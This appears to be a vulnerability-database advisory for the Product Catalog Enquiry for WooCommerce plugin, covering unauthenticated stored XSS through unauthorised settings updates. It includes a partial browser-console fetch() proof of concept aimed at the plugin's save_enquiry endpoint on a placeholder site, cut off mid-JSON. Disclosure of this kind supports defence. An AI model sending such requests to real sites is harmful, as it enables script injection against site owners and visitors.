Lucene search

K
wpvulndbKrzysztof Zając (CERT PL)WPVDB-ID:B37B09C1-1B53-471C-9B10-7D2D05AE11F1
HistoryNov 21, 2023 - 12:00 a.m.

Product Catalog Enquiry for WooCommerce < 5.0.3 - Unauthenticated Stored XSS via Arbitrary Setting Update

2023-11-2100:00:00
Krzysztof Zając (CERT PL)
wpscan.com
7
woocommerce
xss
unauthenticated
stored
settings
vulnerability

AI Score

5.7

Confidence

High

EPSS

0.001

Percentile

30.3%

Description The plugin does not properly authorize settings updates or escape settings values, leading to stored XSS by unauthenticated users.

PoC

  1. Make sure the plugin is configured with the “Catalog Mode” activated. 2) Launch the following from your browser’s console: ``` fetch(“http://vulnerable-site.tld/wp-json/mvx_catalog/v1/save_enquiry”, {“headers”: {“content-type”: “application/json”,}, “body”: " {"model":{"from_loading":true,"statedrop":[],"errordisplay":"Settings Saved","complete_option_value":[],"button_type":{"value":"4","label":"No Link Just #","index":3},"is_button":["is_button"],"custom_hover_background_color":"#0}

AI Score

5.7

Confidence

High

EPSS

0.001

Percentile

30.3%

Related for WPVDB-ID:B37B09C1-1B53-471C-9B10-7D2D05AE11F1